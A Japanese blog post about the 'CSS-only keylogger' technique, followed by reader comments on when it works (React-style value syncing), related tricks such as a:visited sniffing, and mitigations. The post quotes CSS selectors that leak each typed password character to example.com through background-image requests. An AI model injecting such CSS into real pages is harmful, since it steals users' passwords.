CSSだけでキーロガーを作る（※追記あり） - R42日記

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

[teppeis]

同じアイデアは既にweb fontで実現されてたし、3rd party cssの危険性が急に上がったわけではない / この攻撃はattributeを変更するReact等特定ライブラリ上しか動かない / https://jakearchibald.com/2018/third-party-css-is-not-safe/

[danhox]

JSだけじゃなくCSSもoffしてブラウズする日が遂に

[noonworks]

悪意のCSSを外部から注入できる状況というとブラウザ拡張かページの改竄が思いつくけど、どちらもCSSに拘る必要がないので、使い所が思いつかない……JS不可CSS可のCMSに埋め込むとか？

[kotatsuhal]

Reactとかじゃないと効かないんじゃなかったけ。ノーマルなパスワードinput要素は対策済みでは。

[kachikachi2]

a:visitedにbackground-imageを指定してサーバーログで訪問済みか判別するやつもあったね

[Fushihara]

またcssが不便になる

[dikn]

background-imageって実際に適応されないかぎり呼び出されないんだな　気楽だ

[rryu]

普通は入力したものが即座にvalue属性に反映されたりしないから大丈夫なのか。

[hapilaki]

これに関しては、CSSをブロックせずとも画像表示をブロックしてアクセスすれば対策できるんじゃないかな、知らんけど。

[cartman0]

value attributeはinputの初期値で、入力値はvalue propertyで管理されるから結局cssじゃ見えないのね

[Dai_Kamijo]

“CSSだけでキーロガーを作る - R42日記” — 徳丸 浩 (@ockeghem) February 27, 2018 from Twitter https://twitter.com/Dai_Kamijo March 02, 2018 at 05:29PM via IFTTT

[takryou79]

CSS

[hinaloe]

あー最初出てきた記事で特定のライブラリ〜〜って何の話かとおもったけどなるほどReactでは起こりえてもvueだと普通は発生しないってことか〜〜

[flying-cat]

Reactやないか

[sgo2]

カーソルキーで入力位置を変えながら入力すれば防げるような。(Keepassにはそうやって入力する機能がある)

[takuya_1st]

CSS で *[value] 取れたのか。。。その仕様はあぶないし、コピペ禁止はかえって危険で間違ってない。コピペ禁止フォーム滅びろ

[suquiya0]

いろんなテクニックがあるものだ。

[yuki_2021]

いろんなことを考えるもんだ

[lbtmplz]

フェーン

[teihengrammer]

こええなこれ・・・

[kibitaki]

わあ。ギミックだ。

[lifeisadog]

ソースのサイトが言ってるのは「Third party CSS」は安全ではない、つまり外部サイトのCSS（画像やJSも）を安全だと仮定するのは危険、と言ってるだけ。

[Cherenkov]

React等 key logger キーロガー input[type="password"][value$="a"] { background-image: url("http://example.com/a")

[diveintounlimit]

今はどうなってるか知らないけど、以前はCSS経由のアクセスはキャッシュされなくて同じ文字をタイプしてもログできたよ。

[taguch1]

ほーー。いろんなこと考えるなぁ

[ledsun]

reactでvalue値を毎回属性に反映したい（vdomとdomを乖離させたくない）気持ちはわかる。常にvalueを連動させる必要があるかどうかは謎。不要ならvalueだけ特別扱いすればいいのよね。

[motchang]

ブコメ

[manabou]

][security][keylogger]

[sky-graph]

キャッシュが効くとしても、使用文字の種類は知られてしまいそうだ。ブラウザの非アクティブなタブだと動作しないのかな

[yoshikidz]

ちょい無理がありそうで逆に良かった感

[THAL]

実際使えるかどうかは別として面白いアプローチ

[YarmUI]

Service Workersとセットで使えば・・・

[strategy-pm]

あたまいい。利用者側としては、二度三度PWをわざと間違えるという運用を求められるわけか…もう全部生体認証にするしかないで。

[hiby]

キーを連打したらBANとかブラウザゲーで実装できそうだなこれ。